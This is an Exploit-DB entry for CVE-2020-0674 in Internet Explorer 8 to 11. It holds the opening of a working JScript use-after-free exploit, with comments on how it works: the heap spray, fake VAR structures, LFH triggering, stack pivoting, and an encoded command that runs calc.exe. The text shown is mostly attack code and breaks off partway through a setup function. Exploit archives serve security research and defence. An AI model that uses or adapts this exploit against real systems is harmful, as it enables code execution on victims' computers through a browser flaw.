Exploit-DB #49062
Description: Microsoft Internet Explorer 11 - Use-After-Free
Type: local
Platform: windows
Date: 2020-11-17
Author: maxpl0it

Exploit:
# Exploit Title: Microsoft Internet Explorer 11 - Use-After-Free
# Date: 2020-05-07
# Exploit Author: maxpl0it
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Version: IE 8, 9, 10, and 11
# Tested on: Windows 7 (x64)
# CVE : CVE-2020-0674
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
        <script language="JScript.Compact">
// -------------------------------------------------------------------------------------------------
//
// Credits:
//    maxpl0it (@maxpl0it) - Writing the exploit
//    Qihoo 360 - Identifying the vulnerability in the wild
//
//
// Vulnerability: Use-After-Free when Array.sort() is called with a comparator function. The two
//                arguments are untracked by the garbage collector.
//
// Exploit Description: This exploit was written for 64-bit IE instances.
//                      However, Enhanced Protected Mode sandboxing could be enabled for IE 10
//                      and IE 11 because EPM on Windows 7 simply enables x64 and doesn't do
//                      much else.
//                      The exploit executes C:\Windows\System32\calc.exe but doesn't implement
//                      any form of process continuation after execution.
//
// Testing:
//    OS tested on: Windows 7
//    IE versions tested on:
//           8 (x64 version)
//           9 (x64 version)
//           10 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64)
//           11 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64)
//
// Further notes:
//     Video at https://twitter.com/maxpl0it/status/[PII_REDACTED]48104448
//
//     The debug is better viewed in the console. Open Developer Tools and enable debug below.
//
//     This is the non-EMET-bypassing version and only handles the stack pivot check and EAF.
//
//     If you receive the error "Couldn't rewrite variable", verify that this is 64-bit IE and not a
//     32-bit process (iexplorer.exe and not iexplorer.exe *32)
//
// ------------------------------------------------------------------------------------------------------


// write_debug: Used to show debugging output.
function write_debug(str_to_write) {
    if(debug) { // Switch is below
        try{
            console.log(str_to_write); // In IE, console only works if devtools is open.
        } catch(e) {
            try {
                alert(str_to_write); // A lot of popups but provides information.
            } catch(e) {
                // Otherwise, nothing.
            }
        }
    }
}


// Globals
var depth; // Used to track the depth of the recursion for the exploit function.
var spray; // Used to spray objects and fill GcBlocks.
var overlay; // Used to hold objects that will eventually contain properties that will reallocate freed GcBlocks.
var overlay_backup; // Used to make sure that the overlay objects still have a reference after the exploit is done. Otherwise they would be freed and reallocated.
var variants; // A string that contains a bunch of fake VAR structures. This is the property name that will cause the freed GcBlock to be reallocated.
var total; // Used to hold the untracked variable pointers for the use-after-free.
var leak_lower; // Holds the least significant DWORD of the 'next VVAL' pointer leak.
var leak_offset; // Since we don't want to free all overlay variables, this value will be used to identify which property we have got a pointer for so only this will be freed and reallocated later.
var leak_verify_var; // Used to verify that the rewrite worked. If the overlay cannot be freed and reallocated, then the exploit will not work.
var fakeobj_var; // Points at the property name string in the final VVAL. When the property name changes, a fake VAR is constructed in the name string and will change this fakeobj_var's type and object pointer values.
var trigger_obj; // Will contain the fake object and vftable.
var context; // Will store the context structure for NtContinue.
var padding = "AAAAAAAAAAA"; // Padding aligns so that the property with the manipulated hash will end up on top of an untracked var.
var leak = "\u0005"; // This manipulates the hash of the VVAL.
var leaked_var = "A"; // The final object property name. Needs to be created so that the 'next VVAL' pointer of the manipulated hash VVAL is filled.
var spray_size = 20000; // The size of the spray array.
var overlay_size = 20000; // The size of the overlay array.
var pad_size = 3000; // The size of padding for the trigger object. This padding adds additional space for functions like WinExec() to add their stack frames and the stack frames of the functions they call.
var sort = new Array(); // The array to be sorted with the vulnerable function.
var lfh = new Array(); // An array used to trigger lfh.
var debug = false; // Whether write_debug will do anything.
var command = "\u3a43\u575c\u6e69\u6f64\u7377\u535c\u7379\u6574\u336d\u5c32\u6163\u636c\u652e\u6578"; // The command to be executed. In this case it's "C:\Windows\System32\calc.exe"


// Setup - fills the sort array with arrays to be sorted. Done first to avoid the stack setup getting messed up.
for(i = 0; i < 310; i++) sort[i] = [0, 0];


// lfh_trigger: Used to trigger LFH for a particular size.
function lfh_trigger() {
    for(i = 0; i < 50; i++) {
        tmp = new Object();
        tmp[Array(570).join('A')] = 1;
        lfh.push(tmp);
    }
}


// reset: Resets the objects used in the function initial_exploit so it could be used again.
function reset() {
    depth = 0;
    spray = new Array();
    overlay = new Array();
    total = new Array();
    for(i = 0; i < overlay_size; i++) overlay[i] = new Object(); // Overlay must happen before spray
    for(i = 0; i < spray_size; i++) spray[i]